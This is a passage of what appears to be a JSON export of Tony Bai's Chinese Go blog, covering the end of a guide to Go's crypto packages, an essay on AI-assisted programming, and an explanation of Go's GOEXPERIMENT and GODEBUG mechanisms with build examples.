Protocol），该协议提供了一种实时查询数字证书状态的方法。它允许客户端在建立安全连接之前，向证书颁发机构（CA）查询特定证书的有效性。 用途：检查X.509数字证书的撤销状态 示例： import \u0026#34;golang.org/x/crypto/ocsp\u0026#34; resp, _ := ocsp.ParseResponse(responseBytes, issuer) 使用建议：在需要证书状态检查的应用中推荐使用 4.6.3 openpgp 功能：实现OpenPGP(Open Pretty Good Privacy)标准。OpenPGP是一种加密标准，旨在提供数据加密和解密、数字签名和数据完整性保护。 用途：主要用于保护电子邮件通信、文件存储和数据传输的安全。它支持对称加密、公钥加密、哈希函数和消息认证码（MAC），以及生成和验证数字签名。 示例： import \u0026#34;golang.org/x/crypto/openpgp\u0026#34; entity, _ := openpgp.NewEntity(\u0026#34;name\u0026#34;, \u0026#34;comment\u0026#34;, \u0026#34;email\u0026#34;, nil) 使用建议：OpenPGP是一个强大、灵活和安全的加密标准，被广泛用于各种安全协议和应用中，包括电子邮件加密、文件加密和数据传输加密。在许多现代安全应用中被推荐使用。 4.6.4 otr 功能：实现Off-The-Record Messaging (OTR) 离线消息传递协议 用途：提供即时通讯场景的端到端加密，确保通信内容只能被预期的接收者阅读，而不会被第三方窃听或篡改。 示例：（使用较复杂，通常需要结合具体的即时通讯应用） 使用建议：在开发加密即时通讯应用时可以考虑使用 4.6.5 pkcs12 功能：实现PKCS#12标准(Public-Key Cryptography Standards #12)，PKCS#12是由RSA Laboratories设计的，旨在定义一种标准格式，用于存储和传输私钥、公钥和证书链。PKCS#12文件通常以.p12或.pfx扩展名结尾。 用途：存储和传输服务器证书、中间证书和私钥 示例： import \u0026#34;golang.org/x/crypto/pkcs12\u0026#34; blocks, _ := pkcs12.ToPEM(pfxData, \u0026#34;password\u0026#34;) 使用建议：PKCS#12是一个强大、安全和标准化的密钥和证书存储格式，在需要安全存储和传输加密密钥和证书的应用中被推荐使用。不过该包已经冻结，如需要，可考虑software.sslmate.com/src/go-pkcs12的实现(github.com/SSLMate/go-pkcs12)。 4.6.6 ssh 功能：实现SSH客户端和服务器 用途：提供安全的远程登录和其他安全网络服务 示例： import \u0026#34;golang.org/x/crypto/ssh\u0026#34; config := \u0026amp;ssh.ClientConfig{User: \u0026#34;user\u0026#34;, Auth: []ssh.AuthMethod{ssh.Password(\u0026#34;password\u0026#34;)}} 使用建议：强烈推荐用于实现SSH功能 4.7 其他 4.7.1 poly1305 功能：实现Poly1305消息认证码。Poly1305是一种高速的消息认证码（MAC）算法, 通常与ChaCha20流加密算法结合使用，形成ChaCha20-Poly1305组合，用于提供加密和消息认证的完整解决方案。 用途：用于消息认证，确保消息在传输过程中的完整性和真实性，未被篡改。 示例： import \u0026#34;golang.org/x/crypto/poly1305\u0026#34; var key [32]byte var out [16]byte poly1305.Sum(\u0026amp;out, msg, \u0026amp;key) 使用建议：这个包的实现已作废，推荐使用golang.org/x/crypto/chacha20poly1305 5. Go密码学库的现状与后续方向 Gotime在2023年末和今年年初对Go密码学库的前负责人Filippo Valsorda和现负责人Roland Shoemaker进行了三期访谈(见参考资料)，通过这三次访谈我们大约可以梳理出Go密码学库的现状与后续方向：\nRSA后端实现的改进，提高了安全性和性能。 引入godebug机制，允许在不破坏兼容性的情况下逐步引入新的安全改进。 正在考虑对一些密码学包进行v2版本的设计，以提供更高级和更易用的API。 正在逐步弃用一些不安全的算法，如SHA1和MD5。 简化配置选项，减少用户需要做的选择，提供更多默认安全设置。 正在将golang.org/x/crypto中的重要包移入标准库，以减少混淆，包括继TLS之后的另外一个重要协议包ssh库。 使用BoringSSL的BoGo测试套件来全面测试Go的TLS实现。 Go密码学库正在实现这些新的后量子密码算法，但目前还没有完全集成到标准库中。 总的来说，Go密码学库(包括golang.org/x/crypto)正在积极发展和改进，同时也在为后量子密码学时代做准备。虽然后量子算法的完全集成和广泛应用还需要一段时间，但Go团队正在积极跟进这一领域的发展，努力在保持兼容性的同时提升安全性和性能。\n6. 小结 在这篇文章中，我们对Go生态中密码学功能的核心：Go crypto库(包括标准库crypto相关包以及golang.org/x/crypto相关包)进行了全面的了解，包括两者的关系、整体结构设计原则以及每个库的子包概览。\n我们看到：Go crypto库以其安全性、全面性、易用性、高性能以及与Go生态系统的高度集成而著称。它不仅涵盖了广泛的加密算法和协议，还通过统一且直观的API降低了使用门槛。\n相信通过上述的了解，大家都已经理解了Go crypto库的架构与设计思想，并建立起了一张crypto库的“地图”。按照这幅图的指示，大家可以根据具体需求，快速找到合适的密码学包，并利用这些包构建安全可靠的Go应用。\n7. 参考资料 What’s new in Go’s cryptography libraries: Part 1 – https://changelog.com/gotime/295 What’s new in Go’s cryptography libraries: Part 2 – https://changelog.com/gotime/298 What’s new in Go’s cryptography libraries: Part 3 – https://changelog.com/gotime/313 Crypto 101: A Brief Tour of Practical Crypto in Golang – https://cyberspy.io/articles/crypto101/ Go for Crypto Developers – https://www.youtube.com/watch?v=2r_KMzXB74w Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/19/go-crypto-package-design-deep-dive/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-crypto-package-design-deep-dive-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/10/19/go-crypto-package-design-deep-dive\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/10/19/go-crypto-package-design-deep-dive\"\u003ehttps://tonybai.com/2024/10/19/go-crypto-package-design-deep-dive\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo号称“开箱即用”，这与其标准库的丰富功能和高质量是分不开的。而在Go标准库中，crypto库(包括crypto包、crypto目录下相关包以及golang.org/x/crypto下的补充包)又是Go社区最值得称道的Go库之一。\u003c/p\u003e","title":"Go开发者的密码学导航：crypto库使用指南"},{"content":"智能时代临近：我眼中AI编程的现在与未来 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 智能时代临近：我眼中AI编程的现在与未来 十月 14, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/14/programming-in-ai-era\n自2022年末ChatGPT发布以来，人工智能（AI）正在深刻地改变软件开发的格局。从简单的代码补全到复杂的逻辑生成，AI正逐渐成为程序员不可或缺的助手。最近，OpenAI首席执行官山姆·奥特曼在其个人博客中发表的文章《智能时代》(The Intelligence Age)更让我们深切体会到，超级智能似乎离我们越来越近了。\n正如100年前的打孔卡编程方式与现今编程方式的天壤之别，如今的我们也难以完全预见超级AI时代的编程模式。尽管现阶段的大语言模型（如ChatGPT、Claude等）在AI辅助编程方面已经展现出强大的能力，并显著提升了开发效率，但它们仍面临诸多挑战。不过，与打孔卡时代的程序员相比，我们这一代程序员是幸运的，因为我们已经嗅到了超级AI的气息。\n当前AI辅助编程的现状 目前，AI辅助编程主要有三种模式：\nIDE模式：通过使用工具（如Cursor等）智能分析代码上下文，仅需简单的TAB键操作即可生成代码片段甚至是完整代码，显著提高编程效率。\nPrompt模式：开发者提供描述性的prompt，AI据此生成代码块，然后开发者将其整合到项目中。这种模式要求开发者对prompt撰写有较高的理解与能力。\nAgent模式：在这种模式下，AI作为自主的编程助手，理解开发者的意图并主动规划(强化学习增强的思维链等)和执行任务。开发者可以与AI对话，提出问题或请求功能，而AI则基于上下文自动生成代码、测试用例，甚至进行调试。Agent模式更接近于超级AI的初级模拟，试图通过自然语言交互与上下文理解，模拟人类思维，自主规划并处理复杂编程任务。\n虽然IDE和Agent模式本质上都是Prompt模式的变种，但Agent模式更像是对超级AI的初级尝试，使开发者能够更专注于高层设计，将重复性任务交给AI处理。\n不过，这三种模式都属于初级辅助模式，虽然已经能显著提升开发效率。这些模式的辅助效能还与多种因素相关，比如：\n人类提示工程(Prompt engineering )水平：开发者如何有效地与AI沟通需求，直接影响输出质量。 AI对不同编程语言的掌握和擅长程度：这与AI训练时使用的语料丰富程度和训练方法密切相关。日常实践中事实也证明，像Rust这样语法复杂的语言，AI生成的代码可能更容易出现编译错误。相比之下，Go语言生成的代码往往更容易直接运行。 编程任务的特性：不同类型的编程任务可能更适合不同的AI辅助方式。 注：随着AI在推理方面的提升(乃至形成独立的推理层)，“过提示工程”可能不仅无法提高推理性能，还有可能妨碍模型工作。也就是说对于推理能力越来越强的大模型，反倒是提示词越简洁越好，因为思维链都隐藏到了模型内部，如果再用思维链提示反而会适得其反。\n当前AI的局限性与未来展望 当前的AI系统更像是一个知识数据库，主要基于已有的知识进行推理，与现实世界的互动能力仍然有限，如缺乏访问互联网和本地系统的能力。这种限制导致AI只能生成代码，却无法验证其逻辑是否正确或者能否编译运行。此外，AI与人类的交互手段仍相对初级，大多局限于文本、图片或语音的形式，这些方式在面对复杂需求时显得笨拙。\n那么未来理想的AI辅助编程模式应该是什么样的呢？我认为应是端到端编程，即通过多种交互手段（自然语言、语音、图片以及将来的未知方式等）输入需求，AI直接输出已部署完毕且可正确运行的完整程序。在超级AI时代，这种编程模式将成为现实，届时AI与程序员的交互方式将迎来革命性变化。\n我们可以将当前阶段称为”AI的过渡时代“。正如OpenAI的Sam Altman所预言那样，真正的智能时代可能还需要几千天才能到来。在这个超级AI出现的时代，端到端的编程模式可能才会真正实现。\n根据Sequoia Capital的最新研究报告，AI技术正在从”快速思考”(System 1)向”慢速思考”(System 2)演进。System 1指的是快速、直觉性的反应，而System 2则涉及更深层次的推理和问题解决能力。这种演进正在推动一种新的”推理层”的发展，这可能是通向真正智能时代的关键一步：\n来自Sequoia Capital的最新研究报告\n超级AI时代的编程模式可能包括：\n脑机接口：通过思维直接传达编程意图。 AR手势交互：在虚拟空间中操控代码组件，如钢铁侠电影中的场景。 多模态融合交互：结合语音、手势、眼动跟踪等多种方式。 自适应自然语言处理：AI能够理解和解析非结构化的自然语言，转换为代码逻辑。 这些技术的发展可能会让未来的编程体验更像是与高度智能的助手协作，而非单纯的工具使用。如今脑机接口、AR增强现界等技术也在快速演进，很可能与超级AI带来的智能时代同时到来。\n程序员角色的转变 在超级AI时代，程序员的角色将发生显著的变化。程序员基本上不再编码，而是更多地转变为”系统架构师”、”AI协作者”和”创新推动者”。他们的工作会更多地涉及高层次的问题解决、创新思考和跨学科合作。技术知识仍然重要，但更重要的是理解业务需求、系统设计、伦理考量和用户体验等更广泛的技能。\nSequoia Capital的报告指出，随着AI技术的进步，软件开发正在从”软件即服务”(SaaS, Software as a Service)模式转向”服务即软件(Service as a Software”模式。这意味着AI应用不仅仅是提供软件工具，而是直接提供完整的服务解决方案。这种转变将极大地扩展AI应用的市场，从软件市场扩展到更广阔的服务市场：\n来自Sequoia Capital的最新研究报告\n注：怎么理解“服务即软件”（Service as a Software）呢？想象一下，之前你的公司购买了一个人力资源管理的SaaS服务，这种购买仅仅让你能够使用其功能，但谁来操作这些功能呢？你的公司依然需要雇佣专门的HR人员来通过Web、GUI客户端或App进行管理。而“服务即软件”则将这两方面“打包”在一起。你无需再招聘专员来操作，只需提出你的需求即可。这种模式有点类似于现代的HR劳务外包，但不同的是，在智能时代，这种外包的真正执行者不再是“人”，而是AI应用和支持AI运行的算力。这样一来，你可以更高效地满足业务需求，而无需担心人力资源的管理和操作。\n随着超级AI的出现，我们还可能会看到AI系统不仅能辅助编程，还能自主编写、维护和优化代码，即AI的自主性。然而，这种高度自治的系统也可能面临复杂的自我管理问题。\n借鉴《黑客帝国》中的概念，未来的AI系统可能会像一个巨大的自维护程序，但仍需要”异常处理程序”来解决一些无法自动修复的关键问题。在这个场景中，人类程序员可能扮演类似”尼奥”的角色，成为系统无法自行解决问题时的最后求助对象。\n这种人机协作模式可能类似于现代软件系统中的”live reload”概念：当AI遇到无法自动解决的问题时，它会寻求人类的帮助，重新加载并修复系统，从而保持整个生态系统的稳定运行。\n小结 AI辅助编程技术正处于一个激动人心的过渡时期，距离完全自主的端到端编程还有一定距离。然而，随着技术进步和新型人机交互方式的到来，编程的本质将发生革命性的变化。未来的编程将是人类与AI共同塑造的领域，一个充满无限可能的智能时代。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/14/programming-in-ai-era/","summary":"\u003ch1 id=\"智能时代临近我眼中ai编程的现在与未来--tony-bai\"\u003e智能时代临近：我眼中AI编程的现在与未来 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"智能时代临近我眼中ai编程的现在与未来\"\u003e智能时代临近：我眼中AI编程的现在与未来\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 14, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/14/programming-in-ai-era/#respond\" title=\"《智能时代临近：我眼中AI编程的现在与未来》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/programming-in-ai-era-1.png\"\u003e\u003c/p\u003e","title":"智能时代临近：我眼中AI编程的现在与未来"},{"content":"\n本文永久链接 – https://tonybai.com/2024/10/11/go-evolution-dual-insurance-goexperiment-godebug\nGo语言自诞生以来就以其简洁、高效和强大的并发支持而闻名，Go团队承诺保持Go1向后兼容性，以确保用户的代码在未来的版本中继续正常运行。然而，保持语言的稳定性与不断创新(增加新特性)之间的平衡一直是Go团队面临的挑战。为了应对这一挑战，Go语言引入了两个关键机制：GOEXPERIMENT和GODEBUG来平衡新功能的试验、稳定发布和向后兼容。这两个机制共同构成了Go语言特性发布的“双保险”，确保语言能够稳步前进的同时，不会因为激进的改变而影响现有代码的稳定性。本文就来简单探讨一下这两个机制是如何保障Go语言新特性稳定发布的。\n1. GOEXPERIMENT：新特性的摇篮 GOEXPERIMENT是一个Go语言的环境变量，是用于控制实验性特性的机制。它允许开发者在编译时（使用go build、go install、go run或go test）启用一些尚未正式发布的语言特性或优化。通过GOEXPERIMENT，Go团队能够在正式发布之前广泛测试新功能，收集反馈并进行必要的调整。\n比如，在今年8月发布的Go 1.23版本发布了一个实验特性：带有类型参数的type alias，就像下面代码一样，我们可以在编译时开启该实验特性：\n// github.com/bigwhite/experiments/blob/master/go1.23-examples/lang/generic_type_alias.go $GOEXPERIMENT=aliastypeparams go build generic_type_alias.go $./generic_type_alias Int Slice: [1 2 3 4 5] String Slice: [hello world] Person Slice: [{Alice 30} {Bob 25}] 如果不开启实验特性，上述的代码就会编译失败：\n// github.com/bigwhite/experiments/blob/master/go1.23-examples/lang/generic_type_alias.go $go build generic_type_alias.go # command-line-arguments ./generic_type_alias.go:5:6: generic type alias requires GOEXPERIMENT=aliastypeparams 我们看到：通过设置GOEXPERIMENT=featureflag可以开启对应的实验特性，如果要同时开启多个实验特性，可以用逗号分隔的实验特性列表，就像下面这样：\n$GOEXPERIMENT=featureflag1,featureflag2,...,featureflagN go build 那么如何查看当前Go版本有哪些实验验特性可用呢？我们可以借助go doc工具，以go 1.23.0为例：\n$go doc goexperiment.Flags package goexperiment // import \u0026#34;internal/goexperiment\u0026#34; type Flags struct { FieldTrack bool PreemptibleLoops bool StaticLockRanking bool BoringCrypto bool // RegabiWrappers enables ABI wrappers for calling between // ABI0 and ABIInternal functions. Without this, the ABIs are // assumed to be identical so cross-ABI calls are direct. RegabiWrappers bool // RegabiArgs enables register arguments/results in all // compiled Go functions. // // Requires wrappers (to do ABI translation), and reflect (so // reflection calls use registers). RegabiArgs bool // HeapMinimum512KiB reduces the minimum heap size to 512 KiB. // // This was originally reduced as part of PacerRedesign, but // has been broken out to its own experiment that is disabled // by default. HeapMinimum512KiB bool // CoverageRedesign enables the new compiler-based code coverage // tooling. CoverageRedesign bool // Arenas causes the \u0026#34;arena\u0026#34; standard library package to be visible // to the outside world. Arenas bool // CgoCheck2 enables an expensive cgo rule checker. // When this experiment is enabled, cgo rule checks occur regardless // of the GODEBUG=cgocheck setting provided at runtime. CgoCheck2 bool // LoopVar changes loop semantics so that each iteration gets its own // copy of the iteration variable. LoopVar bool // CacheProg adds support to cmd/go to use a child process to implement // the build cache; see https://github.com/golang/go/issues/59719. CacheProg bool // NewInliner enables a new+improved version of the function // inlining phase within the Go compiler. NewInliner bool // RangeFunc enables range over func. RangeFunc bool // AliasTypeParams enables type parameters for alias types. // Requires that gotypesalias=1 is set with GODEBUG. // This flag will be removed with Go 1.24. AliasTypeParams bool } Flags is the set of experiments that can be enabled or disabled in the current toolchain. When specified in the GOEXPERIMENT environment variable or as build tags, experiments use the strings.ToLower of their field name. For the baseline experimental configuration, see objabi.experimentBaseline. If you change this struct definition, run \u0026#34;go generate\u0026#34;. go doc输出结果中的Flags结构体其实是$GOROOT/internal/goexperiment包中的一个类型，这个类型每一个字段对应一个实验特性，字段名的小写即可作为GOEXPERIMENT的值，比如AliasTypeParams的小写形式aliastypeparams正是我们在前面示例中使用的实验特性。\n在Flags结构体中，我们看到了几个十分熟悉的字段，比如LoopVar、RangeFunc、Arenas等，这些实验特性有些已经正式落地，比如：Go 1.21引入的实验特性Loopvar在Go 1.22版本中成为正式语法特性。而Arenas这个在Go 1.20版本引入的实验特性则因为实现上缺陷而迟迟不能转正，目前处于proposal hold状态。\nGo对实验特性的引入分为两种情况：\n默认开启实验特性，无需在编译时通过GOEXPERIMENT=featureflag显式开启 在Go 1.22中的exectracer2就是这样一个实验特性，它控制着是否使用新的execution trace的实现。\n对于这样的实验特性，我们可以通过GOEXPERIMENT=nofeatureflag对其进行显式关闭，以Go 1.22引入的实验特性ExecTracer2为例，可以使用下面命令关闭该实验特性：\n$GOEXPERIMENT=noexectracer2 go build 注：之后使用go version your-go-app，可以看到“your-go-app: go1.22.0 X:noexectracer2”的输出。\n默认不开启实验特性，需在编译时通过GOEXPERIMENT=featureflag显式开启 这就是我们最熟悉的实验特性引入方式，Go 1.23的AliasTypeParams实验特性就是默认不开启的，前面的例子已经给出了开发方法，这里就不赘述了。\n实验特性通常经过1到2个版本的实验便会落地，成为正式特性。已经落地的实验特性通常会从Flags结构体中移除，比如Go 1.22的goexperiment.Flags结构体中的ExecTracer2，在Go 1.23中就看不到了。但总有一些已经落地的实验特性对应的flag字段依然还留存在Flags结构体里，比如：LoopVar，这个原因还不得而知！并且这样的已经成为正式特性的Flag，我们也无法再通过GOEXPERIMENT=nofeatureflag对其进行显式关闭了，因为它已经不再是实验特性了！\n不过有些实验特性即便转正落地了，也会考虑到新特性对legacy code行为的影响而去读取go.mod中的go version再决定是否应用新特性，比如LoopVar。LoopVar转正后，该特性也仅在编译的包来自于包含声明Go 1.22或更高版本的模块时适用，比如：Go 1.22或Go 1.23。这可以确保没有程序会因为简单地采用新的Go版本而改变行为，我们来看一个例子：\n// go.mod module demo go 1.20 // main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func main() { var m = [...]int{1, 2, 3, 4, 5} for i, v := range m { go func() { time.Sleep(time.Second * 3) fmt.Println(i, v) }() } time.Sleep(time.Second * 5) } 我们使用go 1.23.0版本编译该包，并运行输出的程序：\n$go build $./demo 4 5 4 5 4 5 4 5 4 5 可以看到，即便使用了Go 1.23版本，但因当前module的go version依然是go 1.20，Go编译器默认不会开启loopvar特性。\n不过如果我们显式使用GOEXPERIMENT=loopvar，go编译器便不会考虑go.mod文件中的go version是什么版本，都会开启loopvar新特性：\n$GOEXPERIMENT=loopvar go build $./demo 4 5 1 2 0 1 2 3 3 4 Go编译器会有一套Go试验特性的默认值，如果你通过GOEXPERIMENT显式开启了某些特性，导致该特性flag值与默认值不同，那么我们可以通过go version命令查看到这些不同之处。以上面GOEXPERIMENT=loopvar go build构建出的demo为例：\n$go version demo demo: go1.23.0 X:loopvar 目前Go官方尚没有一个专门的页面用于汇总GOEXPERIMENT的各个flag的随Go版本release的历史，我们只能通过Flag字段在go issues查找其对应的issue来重温当时的情况。\n到这里，我们可以看到GOEXPERIMENT引入的实验特性机制可以让Go团队相对稳健的向Go语言引入新特性（虽然不是所有新特性都需要走式样特性的流程，比如对泛型的支持等），但是当新特性破坏了向后兼容，或者Go团队要对现有特性的错误语义(比如panicnil)进行变更时，Go1这个严格的兼容性规则就很可能成为阻碍在大家面前的一道门槛！为了在保持兼容性和推动创新之间取得平衡，Go团队就需要一种新的机制，通过渐进式的方法来引入破坏性(break change)的变更，这就是GODEBUG控制机制，下面我们就来说说GODEBUG。\n2. GODEBUG：在运行时控制特性行为的开关 GODEBUG也是一个Go环境变量，和GOEXPERIMENT用于构建时不同，GODEBUG用在运行时控制Go程序的某些行为。它允许开发者临时将某一特性恢复到旧的行为，即使在新版本中该特性的默认行为已经发生了改变。\nGODEBUG的设置形式为逗号分隔的key=value对，例如：\n$GODEBUG=http2client=0,http2server=0 ./your-go-app 这个设置会禁用客户端和服务器端对HTTP/2的使用。\n上面是使用GODEBUG禁用新特性的例子。对于存量特性语义或实现变更，比如Go 1.23版本对time.Timer和Ticker进行了重实现，新实现底层使用了无缓冲channel，但通过下面设置可以恢复原先实现中的带缓冲channel：\n$GODEBUG=asynctimerchan=1 ./your-go-app 考虑到兼容性而进行的GODEBUG设置将在至少两年（四个Go版本）内保持。但一些设置，例如http2client和http2server，将会更长时间地保持，甚至是无限期的。\n除了GODEBUG环境变量之外，Go还提供了其他几种进行特性行为设置的方式，下面我们来看看。\n3. GODEBUG、go:debug和go.mod中godebug directive的关系 3.1. //go:debug指令 从Go 1.21开始，可以在源代码中使用//go:debug指令来设置GODEBUG的值。这些指令必须放在文件的顶部，在package语句之前。例如：\n//go:debug panicnil=1 //go:debug asynctimerchan=0 package main 这些指令会在编译时被处理，并影响生成的二进制文件的行为。\n3.2 go.mod中的godebug指令 从Go 1.23开始，可以在go.mod文件中使用godebug指令来设置GODEBUG的默认值，例如：\n// go.mod godebug ( default=go1.21 panicnil=1 asynctimerchan=0 ) 这个配置会影响整个模块(module)的默认GODEBUG设置。\n3.3 优先级和应用范围 那么GODEBUG、//go:debug以及go.mod中的godebug指令的优先级关系是怎样的呢？\n显然，环境变量GODEBUG优先级最高，因为它可以在运行时覆盖其他设置，适用于临时调试或特定运行环境。\ngo:debug指令优先级次之，通常应用于特定的main包，适用于对特定程序进行精细控制。\n而go.mod中的godebug指令优先级最低，为整个模块设置默认值，适用于项目级别的配置。\n基于上述关系，我们来看看一个Go应用GODEBUG设置的默认值的确定过程。当没有显示设置GODEBUG环境变量时，各设置的默认值按以下顺序确定：\n首先查看用于构建程序的Go工具链(版本)的默认值。 然后根据go.mod或go.work中声明的Go版本(go version)进行调整。 之后应用go.mod中的godebug指令（如果有的话）。 最后是//go:debug，通常仅应用于main module。 例如，如果一个项目的go.mod声明了go 1.20，那么即使使用Go 1.21工具链编译，也会默认使用panicnil=1（即允许panic(nil)）。\n不过有特殊情况需要注意，比如对于声明早于Go 1.20版本的项目，GODEBUG默认值会被配置为匹配Go 1.20的行为，而不是更早的版本；又比如在测试环境中，*_test.go文件中的//go:debug指令会被视为测试主包的指令等。\n这么看规则还是蛮复杂的，那么编译后待执行的程序的默认GODEBUG的设置究竟是什么呢？我们可以通过go version -m来查看，以gopls v0.16.2为例：\n$go version -m /Users/tonybai/Go/bin/gopls /Users/tonybai/Go/bin/gopls: go1.23.0 path golang.org/x/tools/gopls mod golang.org/x/tools/gopls v0.16.2 h1:K1z03MlikHfaMTtG01cUeL5FAOTJnITuNe0TWOcg8tM= dep github.com/BurntSushi/toml v1.2.1 h1:9F2/+DoOYIOksmaJFPw1tGFy1eDnIJXg+UHjuD8lTak= dep github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= dep golang.org/x/exp/typeparams v0.0.0-20221212164502-fae10dda9338 h1:2O2DON6y3XMJiQRAS1UWU+54aec2uopH3x7MAiqGW6Y= dep golang.org/x/mod v0.20.0 h1:utOm6MM3R3dnawAiJgn0y+xvuYRsm1RKM/4giyfDgV0= dep golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= dep golang.org/x/telemetry v0.0.0-20240829154258-f29ab539cc98 h1:Wm3cG5X6sZ0RSVRc/H1/sciC4AT6HAKgLCSH2lbpR/c= dep golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= dep golang.org/x/tools v0.22.1-0.20240829175637-39126e24d653 h1:6bJEg2w2kUHWlfdJaESYsmNfI1LKAZQi6zCa7LUn7eI= dep golang.org/x/vuln v1.0.4 h1:SP0mPeg2PmGCu03V+61EcQiOjmpri2XijexKdzv8Z1I= dep honnef.co/go/tools v0.4.7 h1:9MDAWxMoSnB6QoSqiVr7P5mtkT9pOc1kSxchzPCnqJs= dep mvdan.cc/gofumpt v0.6.0 h1:G3QvahNDmpD+Aek/bNOLrFR2XC6ZAdo62dZu65gmwGo= dep mvdan.cc/xurls/v2 v2.5.0 h1:lyBNOm8Wo71UknhUs4QTFUNNMyxy2JEIaKKo0RWOh+8= build -buildmode=exe build -compiler=gc build DefaultGODEBUG=asynctimerchan=1,gotypesalias=0,httplaxcontentlength=1,httpmuxgo121=1,httpservecontentkeepheaders=1,panicnil=1,tls10server=1,tls3des=1,tlskyber=0,tlsrsakex=1,tlsunsafeekm=1,winreadlinkvolume=0,winsymlink=0,x509keypairleaf=0,x509negativeserial=1 build CGO_ENABLED=1 build CGO_CFLAGS= build CGO_CPPFLAGS= build CGO_CXXFLAGS= build CGO_LDFLAGS= build GOARCH=amd64 build GOOS=darwin build GOAMD64=v1 我们看到其DefaultGODEBUG如下：\nDefaultGODEBUG=asynctimerchan=1,gotypesalias=0,httplaxcontentlength=1,httpmuxgo121=1,httpservecontentkeepheaders=1,panicnil=1,tls10server=1,tls3des=1,tlskyber=0,tlsrsakex=1,tlsunsafeekm=1,winreadlinkvolume=0,winsymlink=0,x509keypairleaf=0,x509negativeserial=1 